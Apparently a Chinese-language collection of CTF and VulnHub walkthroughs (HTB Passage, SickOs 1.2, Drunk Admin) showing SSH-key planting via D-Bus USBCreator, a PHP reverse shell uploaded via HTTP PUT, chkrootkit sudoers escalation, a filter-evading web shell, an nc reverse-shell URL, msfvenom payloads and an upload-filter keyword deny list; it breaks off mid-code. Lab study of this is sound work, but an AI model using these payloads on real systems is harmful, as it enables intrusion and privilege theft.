Warning: Permanently added '10.10.10.206' (ECDSA) to the list of known hosts.
Last login: Mon Aug 31 15:07:54 2020 from 127.0.0.1
nadav@passage:~$ id
uid=1000(nadav) gid=1000(nadav) groups=1000(nadav),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
nadav@passage:~$ whoami
nadav
```

#### Dbus – USB Controller Privilege Escalation – Root

Listing all the process gave me a hint for Root.

``` bash
nadav@passage:~$ ps -aux | grep usb 
nadav      3430  0.0  0.0  21264  1028 pts/19   S+   00:14   0:00 grep --color=auto usb
```

 - reference to [USBCreator D-Bus Privilege Escalation in Ubuntu Desktop](https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/)

Pre Requirements:

 - The user must be in the Sudoers group. Here in our case, Nadav is in the Sudoers group.
 - The user must have executable privileges to the dbus tool.

``` bash
nadav@passage:~$ find / -perm -u=s -type f 2>/dev/null | grep dbus
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
```

then We have everything we need. 
it's time to launch our attack. As we already know the dbus system block as com.ubuntu.USBCreator by default, we can send a system call to Dbus message.

``` bash
nadav@passage:~$ echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDMR1r7B7aiEe6j+wBsVumAFqFXCiqw2iSrcg1S7rC1BdlVqr8YfWnT6e/e3+TAJk9idtLz/wN2MkupWtI1ddtNTJz31RQb0WMGjq7p8Usg0uIYhQH0PTN/GmPXDhqLIPcbTnNQMcV2PnwM07eXxQH0+s9rqVO8cR2z2f35bKe3WrHNnT7NwfOoWqNJxh+V8OGgfF8LhS0E46I6co76MJAIsX24Zs9r/dY+JPOlJlS3K2Kf3xSfPAScQeWip1WYY9depVuQywk12kOUikzGNjlQ4phNba47VjfycyV34cLw0/vQcDv5hMCfaK+hoE5rBXysnVx/f3n3zRYMLomgveQUCLBYUwJPE2t0VzeeX4W9wxrAOl2Njx5TI4cEFnmlp/6lO/iK+aC6BSBRxU19jS2fUchiN9PMgLSYGzhuIxOLvvd9AlaOYPNM7a5AfjzzO+gd1fv/Mb9EIZCKibtvpHp0eomnSDcDz/b9FNpbvg6V5NBVy2VaufcRbiBDD6cTS00= root@kali" > ~/authorized_keys
nadav@passage:~$ gdbus call --system --dest com.ubuntu.USBCreator --object-path /com/ubuntu/USBCreator --method com.ubuntu.USBCreator.Image /home/nadav/authorized_keys /root/.ssh/authorized_keys true
()
```

we did all the things without getting any errors. Let’s try to SSH into Root.

``` bash
root@kali:~/hackthebox/machine/passage# chmod 600 id_rsa 
root@kali:~/hackthebox/machine/passage# ssh -i id_rsa root@10.10.10.206
Last login: Mon Aug 31 15:14:22 2020 from 127.0.0.1
root@passage:~# id
uid=0(root) gid=0(root) groups=0(root)
root@passage:~# whoami
root
root@passage:~# ls
artifacts  files  root.txt
root@passage:~# cat root.txt
5bceb602f952cda2b0db04c27331c2eb
```

then we got root and root.txt

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb90.jpg)

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb91.jpg)

#### Summary of knowledge

 - CuteNews 2.0.3 - Arbitrary File Upload
 - writeup PHP code inside an image file
 - hashcat crack SHA2-256 Hashes
 - Dbus – USB Controller Privilege Escalation

#### Contact me

 - QQ: 1185151867
 - twitter: https://twitter.com/fdlucifer11
 - github: https://github.com/FDlucifer

<font color="blue">I'm lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more...</font>

<!-- kb:end passage -->

</details>

<a id="case-sickos-1-2"></a>

## HTTP PUT 与周期性 chkrootkit

OPTIONS 确认 PUT 允许范围，写入后进入本地任务分析。手工 chkrootkit 与 Metasploit 两种分支均保留。

<p class="kb-provenance">来源 SickOs-1-2 · 原记录 2020-03-30 · 22 个代码块 · 3 处图片引用</p>

<details class="kb-evidence" id="record-sickos-1-2">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start SickOs-1-2 -->

#### 名称
名称：SickOs: 1.2
发布日期：2016年4月27日

#### 下载

 - Download (Mirror): https://download.vulnhub.com/sickos/sick0s1.2.zip
 - Download (Torrent): https://download.vulnhub.com/sickos/sick0s1.2.zip.torrent 



#### 描述

``` bash
Name........: SickOs1.2
Date Release: 26 Apr 2016
Author......: D4rk
Series......: SickOs
Objective...: Get /root/7d03aaa2bf93d80040f3f22ec6ad9d5a.txt
Tester(s)...: h1tch1, Eagle11
Twitter.....: https://twitter.com/D4rk36
```

``` bash
这是SickOs后续系列中的第二篇文章，与先前的发行版无关，挑战范围是在系统上获得最高特权。
```

``` bash
Filename: Sick0s1.2.zip
File size: 696.2 MB
MD5: b013ba76f50c15890554632a40b697bd
SHA1: 9f45f7c060e15dc6bb93c1cf39efdd75125e30a0
```

``` bash
Format: OVF
Operating System: Ubuntu
Tested on: VMWare workstation Pro 12.1.0 build-3272444
```

``` bash
DHCP service: Enabled
IP address: Automatically assign
```

需要使用VMware。可能对VirtualBox有问题。如果要使用virtualbox打开的话，解决方案：打开.ovf文件，将“ElementName”的所有实例替换为“Caption”，并将“vmware.sata.ahci”替换为“AHCI”。还要删除.mf文件，然后按常规导入。

#### 信息收集

上nmap

``` bash
root@kali:~# nmap -sn -v 192.168.66.*
Nmap scan report for 192.168.66.14
Host is up (0.00033s latency).
MAC Address: 00:0C:29:1B:36:86 (VMware)
```

``` bash
root@kali:~# nmap -sV -v -p- 192.168.66.14
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.8 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    lighttpd 1.4.28
```

``` bash
root@kali:~# nmap -A -v -p 22,80 192.168.66.14 -T4 --script=vuln
22/tcp open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.8 (Ubuntu Linux; protocol 2.0)
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
80/tcp open  http    lighttpd 1.4.28
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum: 
|_  /test/: Test page
|_http-server-header: lighttpd/1.4.28
| http-slowloris-check: 
|   VULNERABLE:
|   Slowloris DOS attack
|     State: LIKELY VULNERABLE
|     IDs:  CVE:CVE-2007-6750
|       Slowloris tries to keep many connections to the target web server open and hold
|       them open as long as possible.  It accomplishes this by opening connections to
|       the target web server and sending a partial request. By doing so, it starves
|       the http server's resources causing Denial Of Service.
|       
|     Disclosure date: 2009-09-17
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
|_      http://ha.ckers.org/slowloris/
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
| vulners: 
|   cpe:/a:lighttpd:lighttpd:1.4.28: 
|       CVE-2013-4559   7.6     https://vulners.com/cve/CVE-2013-4559
|       CVE-2014-2323   7.5     https://vulners.com/cve/CVE-2014-2323
|       CVE-2013-4508   5.8     https://vulners.com/cve/CVE-2013-4508
|       CVE-2018-19052  5.0     https://vulners.com/cve/CVE-2018-19052
|       CVE-2014-2324   5.0     https://vulners.com/cve/CVE-2014-2324
|       CVE-2011-4362   5.0     https://vulners.com/cve/CVE-2011-4362
|_      CVE-2013-4560   2.6     https://vulners.com/cve/CVE-2013-4560
```

目录爆破一波

``` bash
root@kali:~# dirb http://192.168.66.14/

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Mon Mar 30 01:39:50 2020
URL_BASE: http://192.168.66.14/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://192.168.66.14/ ----
+ http://192.168.66.14/index.php (CODE:200|SIZE:163)                                                                      
==> DIRECTORY: http://192.168.66.14/test/                                                                                 
                                                                                                                          
---- Entering directory: http://192.168.66.14/test/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                               
-----------------
END_TIME: Mon Mar 30 01:40:02 2020
DOWNLOADED: 4612 - FOUND: 1
```

在/test上找到目录列表，但是没有什么有趣的。我在/和/test上检查HTTP方法OPTIONS，发现/test上允许许多HTTP方法

request

``` bash
OPTIONS /test/ HTTP/1.1
Host: 192.168.66.14
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
```

response

``` bash
HTTP/1.1 200 OK
DAV: 1,2
MS-Author-Via: DAV
Allow: PROPFIND, DELETE, MKCOL, PUT, MOVE, COPY, PROPPATCH, LOCK, UNLOCK
Allow: OPTIONS, GET, HEAD, POST
Content-Length: 0
Connection: close
Date: Mon, 30 Mar 2020 05:42:43 GMT
Server: lighttpd/1.4.28
```

#### 利用

允许HTTP方法PUT，而无需身份验证。攻击者可以使用HTTP方法PUT将Web Shell上传到/test。所以使用以下的curl方法上传php-reverse-shell.php

``` bash
root@kali:~/vulnhub/sickos# curl --upload-file php-reverse-shell.php -v --url http://192.168.233.129/test/shell.php -0 --http1.0
*   Trying 192.168.233.129:80...
* TCP_NODELAY set
* Connected to 192.168.233.129 (192.168.233.129) port 80 (#0)
> PUT /test/shell.php HTTP/1.0
> Host: 192.168.233.129
> User-Agent: curl/7.68.0
> Accept: */*
> Content-Length: 5494
> 
* We are completely uploaded and fine
* Mark bundle as not supporting multiuse
* HTTP 1.0, assume close after body
< HTTP/1.0 201 Created
< Content-Length: 0
< Connection: close
< Date: Mon, 30 Mar 2020 05:50:14 GMT
< Server: lighttpd/1.4.28
< 
* Closing connection 0
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub228.jpg)

可以看到成功的上传了phpreverseshell

kali端使用nc监听端口，并用浏览器访问shell地址，成功反弹shell

``` bash
root@kali:~# nc -nlvp 443
listening on [any] 443 ...
connect to [192.168.233.128] from (UNKNOWN) [192.168.233.129] 48337
Linux ubuntu 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux
 23:07:02 up 8 min,  0 users,  load average: 0.03, 0.03, 0.02
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ whoami
www-data
$ pwd
/
```

尝试在TCP端口8890上进行侦听，发现没有连接到达我的侦听器，然后将侦听端口更改为443，并修改了php reverse shell，然后再次上传,才成功收到shell

``` bash
$ python -c 'import pty; pty.spawn("/bin/bash")'
www-data@ubuntu:/$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

#### 提权

列举操作系统版本。

``` bash
www-data@ubuntu:/$ lsb_release -a
lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 12.04.4 LTS
Release:        12.04
Codename:       precise
www-data@ubuntu:/$ dpkg -l | grep chkrootkit
dpkg -l | grep chkrootkit
rc  chkrootkit                      0.49-4ubuntu1.1                   rootkit detector
```

检查cron任务，发现cron.daily有chkrootkit。知道chkrootkit---[CVE-2014-0476](https://www.exploit-db.com/exploits/33899)的漏洞可能会有提升到root用户的机会。

脆弱的chkrootkit将执行/tmp/update，可以在/tmp contains shell命令中创建名为update的文件，该命令将sudo su添加到用户www-data

``` bash
www-data@ubuntu:/$ echo 'echo "www-data ALL=NOPASSWD: ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update
< ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update              
www-data@ubuntu:/$
```

然后

``` bash
www-data@ubuntu:/tmp$ chmod 777 *
chmod 777 *
chmod: changing permissions of `VMwareDnD': Operation not permitted
chmod: changing permissions of `vgauthsvclog.txt.0': Operation not permitted
chmod: changing permissions of `vmware-root': Operation not permitted
www-data@ubuntu:/tmp$ ls -la
ls -la
total 24
drwxrwxrwt  4 root     root     4096 Mar 29 23:24 .
drwxr-xr-x 22 root     root     4096 Mar 30  2016 ..
drwxrwxrwt  2 root     root     4096 Mar 29 22:58 VMwareDnD
srwxrwxrwx  1 www-data www-data    0 Mar 29 22:58 php.socket-0
-rwxrwxrwx  1 www-data www-data   76 Mar 29 23:18 update
-rw-r--r--  1 root     root     1600 Mar 29 22:58 vgauthsvclog.txt.0
drwx------  2 root     root     4096 Mar 29 22:58 vmware-root
```

然后等待几分钟

``` bash
root@ubuntu:/tmp# id
id
uid=0(root) gid=0(root) groups=0(root)
root@ubuntu:/tmp# whoami
whoami
root
root@ubuntu:/tmp# cd /root
cd /root
root@ubuntu:~# ls
ls
304d840d52840689e0ab0af56d6d3a18-chkrootkit-0.49.tar.gz  chkrootkit-0.49
7d03aaa2bf93d80040f3f22ec6ad9d5a.txt                     newRule
root@ubuntu:~# cat 7d03aaa2bf93d80040f3f22ec6ad9d5a.txt
cat 7d03aaa2bf93d80040f3f22ec6ad9d5a.txt
WoW! If you are viewing this, You have "Sucessfully!!" completed SickOs1.2, the challenge is more focused on elimination of tool in real scenarios where tools can be blocked during an assesment and thereby fooling tester(s), gathering more information about the target using different methods, though while developing many of the tools were limited/completely blocked, to get a feel of Old School and testing it manually.

Thanks for giving this try.

@vulnhub: Thanks for hosting this UP!.
```

成功的获取到了root权限，并找到了flag

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub229.jpg)


#### 提权2(使用msf提权)

设置msf，然后使用之前的php-reverse-shell反弹shell到nsf，然后将session会话置于后台

``` bash
root@kali:~# msfdb run
[i] Database already started
                                                  

      .:okOOOkdc'           'cdkOOOko:.                                                                                    
    .xOOOOOOOOOOOOc       cOOOOOOOOOOOOx.                                                                                  
   :OOOOOOOOOOOOOOOk,   ,kOOOOOOOOOOOOOOO:                                                                                 
  'OOOOOOOOOkkkkOOOOO: :OOOOOOOOOOOOOOOOOO'                                                                                
  oOOOOOOOO.    .oOOOOoOOOOl.    ,OOOOOOOOo                                                                                
  dOOOOOOOO.      .cOOOOOc.      ,OOOOOOOOx                                                                                
  lOOOOOOOO.         ;d;         ,OOOOOOOOl                                                                                
  .OOOOOOOO.   .;           ;    ,OOOOOOOO.                                                                                
   cOOOOOOO.   .OOc.     'oOO.   ,OOOOOOOc                                                                                 
    oOOOOOO.   .OOOO.   :OOOO.   ,OOOOOOo                                                                                  
     lOOOOO.   .OOOO.   :OOOO.   ,OOOOOl                                                                                   
      ;OOOO'   .OOOO.   :OOOO.   ;OOOO;                                                                                    
       .dOOo   .OOOOocccxOOOO.   xOOd.                                                                                     
         ,kOl  .OOOOOOOOOOOOO. .dOk,                                                                                       
           :kk;.OOOOOOOOOOOOO.cOk:                                                                                         
             ;kOOOOOOOOOOOOOOOk:                                                                                           
               ,xOOOOOOOOOOOx,                                                                                             
                 .lOOOOOOOl.                                                                                               
                    ,dOd,                                                                                                  
                      .                                                                                                    

       =[ metasploit v5.0.80-dev                          ]
+ -- --=[ 1983 exploits - 1088 auxiliary - 339 post       ]
+ -- --=[ 563 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 7 evasion                                       ]

Metasploit tip: You can use help to view all available commands

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set lport 443
lport => 443
msf5 exploit(multi/handler) > set lhost 192.168.233.128
lhost => 192.168.233.128
msf5 exploit(multi/handler) > set payload linux/x86/shell_reverse_tcp
payload => linux/x86/shell_reverse_tcp
msf5 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.233.128:443 
[*] Command shell session 1 opened (192.168.233.128:443 -> 192.168.233.129:48340) at 2020-03-30 02:40:05 -0400

id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ pwd
/
$ whoami
www-data
$ backgroud
/bin/sh: 5: backgroud: not found
$ background

Background session 1? [y/N]  y
msf5 exploit(multi/handler) >
```

然后，开始寻找chkroot漏洞利用程序并正确用msf配置它：


``` bash
msf exploit(handler) > search chkroot

Matching Modules
================

   Name                           Disclosure Date  Rank    Description
   ----                           ---------------  ----    -----------
   exploit/unix/local/chkrootkit  2014-06-04       manual  Chkrootkit Local Privilege Escalation


msf exploit(handler) > use exploit/unix/local/chkrootkit
msf exploit(chkrootkit) > show options 

Module options (exploit/unix/local/chkrootkit):

   Name        Current Setting       Required  Description
   ----        ---------------       --------  -----------
   CHKROOTKIT  /usr/sbin/chkrootkit  yes       Path to chkrootkit
   SESSION                           yes       The session to run this module on.


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf exploit(chkrootkit) > set session 1
session => 1
msf exploit(chkrootkit) > set lport 8080
lport => 8080
```
此外还要设置lhost为192.168.233.128
等待返回shell

``` bash
msf5 exploit(unix/local/chkrootkit) > set LHOST 192.168.233.128
LHOST => 192.168.233.128
msf5 exploit(unix/local/chkrootkit) > run -j
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP double handler on 192.168.233.128:8080 
msf5 exploit(unix/local/chkrootkit) > [!] Rooting depends on the crontab (this could take a while)
[*] Payload written to /tmp/update
[*] Waiting for chkrootkit to run via cron...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo m6QrrJnhcNykbebU;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "m6QrrJnhcNykbebU\r\n"
[*] Matching...
[*] B is input...
[*] Command shell session 2 opened (192.168.233.128:8080 -> 192.168.233.129:37735) at 2020-03-30 03:15:49 -0400
[+] Deleted /tmp/update
id
[*] exec: id

uid=0(root) gid=0(root) 组=0(root)
msf5 exploit(unix/local/chkrootkit) > sessions -l

Active sessions
===============

  Id  Name  Type             Information                                                                       Connection
  --  ----  ----             -----------                                                                       ----------
  1         shell x86/linux  Linux ubuntu 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UT...  192.168.233.128:443 -> 192.168.233.129:48369 (192.168.233.129)
  2         shell cmd/unix                                                                                     192.168.233.128:8080 -> 192.168.233.129:37735 (192.168.233.129)

msf5 exploit(unix/local/chkrootkit) > sessions 2
[*] Starting interaction with 2...

id
uid=0(root) gid=0(root) groups=0(root)
whoami
root
```

成功的获取了root权限，现在来寻找flag

``` bash
msf5 exploit(unix/local/chkrootkit) > sessions 2
[*] Starting interaction with 2...

id
uid=0(root) gid=0(root) groups=0(root)
whoami
root
python -c 'import pty; pty.spawn("/bin/bash")'
root@ubuntu:/tmp# id
id
uid=0(root) gid=0(root) groups=0(root)
root@ubuntu:/tmp# cd /root
cd /root
root@ubuntu:~# ls
ls
304d840d52840689e0ab0af56d6d3a18-chkrootkit-0.49.tar.gz  chkrootkit-0.49
7d03aaa2bf93d80040f3f22ec6ad9d5a.txt                     newRule
root@ubuntu:~# cat 7d03aaa2bf93d80040f3f22ec6ad9d5a.txt
cat 7d03aaa2bf93d80040f3f22ec6ad9d5a.txt
WoW! If you are viewing this, You have "Sucessfully!!" completed SickOs1.2, the challenge is more focused on elimination of tool in real scenarios where tools can be blocked during an assesment and thereby fooling tester(s), gathering more information about the target using different methods, though while developing many of the tools were limited/completely blocked, to get a feel of Old School and testing it manually.

Thanks for giving this try.

@vulnhub: Thanks for hosting this UP!.
```

成功的获取到了flag

#### 知识点总结

 - HTTP put方法写入shell
 - cron定时任务+chkrootkit漏洞CVE-2014-0476---提权
 - msf的exploit/unix/local/chkrootkit模块---提权

<font color="red">Game over</font>

不好意思，这次还是没有找到希腊某位大佬的傻瓜式一键通关脚本，i am so sorry about this...It's a pity...

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/haha.jpg)

<font color="green">***The end,to be continue...***</font>
<!-- kb:end SickOs-1-2 -->

</details>

<a id="case-vulnhub-drunk-admin-web-hacking-challenge-1"></a>

## 图像验证与多重编码

自定义图像服务对后缀和内容做不同判断，原文保留双扩展名、Base64、敏感文件及坐标解码线索。

<p class="kb-provenance">来源 vulnhub-Drunk-Admin-Web-Hacking-Challenge-1 · 原记录 2019-12-08 · 19 个代码块 · 18 处图片引用</p>

<details class="kb-evidence" id="record-vulnhub-drunk-admin-web-hacking-challenge-1">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start vulnhub-Drunk-Admin-Web-Hacking-Challenge-1 -->

#### 靶机镜像下载(drunk_admin_hacking_challenge.zip)

 - Download: [http://bechtsoudis.com/data/challenges/drunk_admin_hacking_challenge.zip](http://bechtsoudis.com/data/challenges/drunk_admin_hacking_challenge.zip)
 - Download (Mirror): [https://download.vulnhub.com/drunkadminhackingchallenge/drunk_admin_hacking_challenge.zip](https://download.vulnhub.com/drunkadminhackingchallenge/drunk_admin_hacking_challenge.zip)
 - Download (Torrent): [https://download.vulnhub.com/drunkadminhackingchallenge/drunk_admin_hacking_challenge.zip.torrent](https://download.vulnhub.com/drunkadminhackingchallenge/drunk_admin_hacking_challenge.zip.torrent)
 - 发布日期：2012年4月2日



#### 描述

默认情况下，将网络配置为通过DHCP获取IP地址。 虽然如果您想进一步配置虚拟机，则可以以用户root和密码toor登录。 apache Web服务器配置为在端口8880上运行。

挑战包括具有各种设计漏洞的图像托管Web服务。 您必须枚举各种Web服务功能并找到可利用的漏洞才能读取系统隐藏文件。 该网络应用程序是100％自定义的，因此请勿尝试在Google中搜索相对的PoC攻击代码。

最终目标：显示隐藏的消息，以安排Bob发送给Alice的日期。

#### 虚拟机网络配置

将虚拟靶机和kali攻击机的vmware网络都配置成[自定义：特定虚拟网络的<VMnet8(NAT模式)>]即可。

#### 主机发现与信息收集

``` bash
nmap -sn -v 192.168.84.0/24
```

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub14.jpg)

``` bash
nmap -sV -v 192.168.84.138 -p 1-65535
```

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub15.jpg)

``` bash
nmap -A -Pn -T4 -sV -v --script=vuln 192.168.84.138 -p 22,8880
```

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub16.jpg)

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub17.jpg)

可以看到是一个文件上传页面

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub18.jpg)

#### 上传木马

首先上传正常图片，抓包，观察返回包，发现其中Set-Cookie: trypios的值和图片的前缀一致
之后成功上传php文件后也可以借鉴此hash路径。

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub19.jpg)

将后缀改成.jpg.php后发现成功上传，再将body中的图片内容改成普通的php木马，如下图所示被识别。

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub20.jpg)

图中是蚁剑base64加密的木马，可以发现被拦截了。

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub21.jpg)

如下图自己构造php payload读取upload.php文件内容，看看过滤了什么，如下图。

``` bash
<?php
echo file_get_contents('../upload.php');
?>
```

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub22.jpg)

右键查看源码，发现过滤了如下内容

``` bash
<?php

define ("MAX_SIZE","500");
$raw_name='';

function getExtension($str) {
    $i = strrpos($str,".");
    if (!$i) { return ""; }
    $l = strlen($str) - $i;
    $ext = substr($str,$i+1,$l);
    return $ext;
 }

$errors=0;

if(isset($_POST['Submit'])) {
    $image=$_FILES['image']['name'];
    if ($image) {
 	$filename = stripslashes($_FILES['image']['name']);
	$extension = getExtension($filename);
	$extension = strtolower($extension);
	if (preg_match("/^.*\.(bmp|jpeg|gif|png|jpg).*$/i", $filename)) {
            $size=filesize($_FILES['image']['tmp_name']);
            if ($size > MAX_SIZE*1024) {
                echo '<h1>You have exceeded the size limit!</h1>';
                $errors=1;
            }
	    $raw_name=md5($image);
	    $image_name=md5($image).'.'.$extension;
            $newname="images/".$image_name;
            $copied = copy($_FILES['image']['tmp_name'], $newname);
            if (!$copied) {
                echo '<h1>Copy unsuccessful!</h1>';
                $errors=1;
            }
        }
 	else {
	    echo '<h1>Invalid file extension!</h1>';
            $errors=1;
        }
    }
    else {
	echo '<h1>No image selected. Be carefull next time!</h1>';
	$errors=1;
    }
}
else {
    echo '<h1>No data? Come on give me something to play with!</h1>'; 
    $errors=1; 
}

if(isset($_POST['Submit']) && !$errors) {

    $file = file_get_contents("./images/$image_name");
    if( strpos($file,"perl") ||
	strpos($file,"bash") ||
	strpos($file,"sh -c") ||
	strpos($file,"python") ||
	strpos($file,"nc ") ||
	strpos($file,"netcat") ||
	strpos($file,"base64") ||
	strpos($file,"ruby") ||
	strpos($file,"fsockopen") ||
	strpos($file,"xterm") ||
	strpos($file,"gcc") ||
	strpos($file,'$_GET') ||
	strpos($file,'$_POST') ||
	strpos($file,'$_SERVER') ||
	strpos($file,'$_FILES') ||
	strpos($file,'$_COOKIE') )
    { 
	echo "<h1>Ohhh you are naughty!</h1>"; 
	exec("rm ./images/$image_name");
	die;
    }
    setcookie("trypios", "$raw_name", time()+3600);
    echo '<script type="text/javascript"> window.location = "http://'.$_SERVER['SERVER_ADDR'].":".$_SERVER['SERVER_PORT'].'/image.php" </script>';
}
?>
```

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub23.jpg)

知道了过滤了什么，就知道如何构造木马，如下

``` bash
<?php
echo exec($_REQUEST['cmd']);
?>
```

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub24.jpg)

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub25.jpg)

#### nc反弹shell

浏览器执行
``` bash
http://192.168.84.138:8880/images/a361463fc252b94026673a556a177ee7?cmd=nc -c /bin/sh 192.168.84.135 4444
```

kali攻击机执行

``` bash
nc -lvp 4444
```

成功反弹shell

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub26.jpg)

#### 查看敏感文件

``` bash
cd /home
ls
bob
cd bob

ls
Documents
public_html

cd public_html
ls
encrypt.php
include
index.php

cat index.php
<?php 
require 'include/aes.class.php';
require 'include/aesctr.class.php';
  
$cipher = 'bf0OvfUkVk+AJq8e+jbVlDdCYQoNVa9/eCCt+3y6qLb8jPdH6O43QlxAo80H2EASR8UKH9zVHDQ2aHZUoahc7dqTcGRcwCURwBWWew==';

if(isset($_POST['sc']) && isset($_POST['decr'])) {
    $decr = AesCtr::decrypt($cipher, $_POST['sc'], 256);
    echo $decr;
    die;
}
?>   

<!DOCTYPE html>
<html lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Bob's Secret Messages</title>
</head>
<body>
<form name="form" id="form" method="post" action="">
  <table>  
    <tr>
      <td>Secret:</td>
      <td><input type="text" name="sc" size="16"></td>
    </tr>
    <tr>
      <td><input type="submit" name="decr" value="Reveal My Secret:"></td>
    </tr>
  </table>
</form>
</body>
</html>
```

猜测可能和解密有关，继续发现敏感文件

``` bash
cd /var/www/
ls
image.php
images
index.php
info.php
myphp.php
style
upload.php
xmm.html

ls -a 
.
..
.htaccess
.proof
image.php
images
index.php
info.php
myphp.php
style
upload.php
xmm.html

cat .proof
#########################
# Drunk Admin Challenge #
#     by @anestisb      #
#########################

bob> Great work.
bob> Meet me there.
...> ?
bob> What? You don't know where?
bob> Work a little more your post
     exploitation skills.

Secret Code:
TGglMUxecjJDSDclN1Ej

Mail me your methods at:
anestis@bechtsoudis.com
```

将其中的Secret Code:TGglMUxecjJDSDclN1Ej，base64解密，如下:

``` bash
root@kali:~# python checkifbase64.py 
Enter string to check if base64: TGglMUxecjJDSDclN1Ej
Lh%1L^r2CH7%7Q#
```

然后将/home/bob下的public_html解密文件夹拷贝到/var/www/images文件夹下

``` bash
cd /home/bob/
cp –r public_html/ /var/www/images
```

然后将之前base64解密出的Lh%1L^r2CH7%7Q#放入框中解密，得到如下坐标信息

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub27.jpg)

``` bash
Alice, prepare for a kinky night. Meet me at '35.517286' '24.017637'
```

将坐标信息放入google地图中搜索，得到如下位置信息，是希腊的某个地点

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub28.jpg)

到此为止，邮件已解密，挑战完成！但是还能更加深入。

#### 深入

通过之前的shell，执行以下命令，将哑shell变为可视化的shell

``` bash
python -c 'import pty; pty.spawn("/bin/bash")'
```

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub29.jpg)

考虑到php的限制，php的payload已经取消考虑了。这仍然留下了其他几种有效负载类型。使用python一种。 非常简单，使用msf生成python的payload木马

``` bash
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.84.135 LPORT=6688 -f raw > pload.py
```

然后再编写上传页面，通过之前的方式上传此页面,因为其中有太多受限制的字符串，因此需要对base64进行了编码并以这种形式上传：

``` bash
<form enctype="multipart/form-data" action="" method="POST">
    <input type="hidden" name="MAX_FILE_SIZE" value="512000" />
    Send this file: <input name="userfile" type="file" />
    <input type="submit" value="Send File" />
</form>

<?php
$b = strrev("edoced_4" . "6esab");
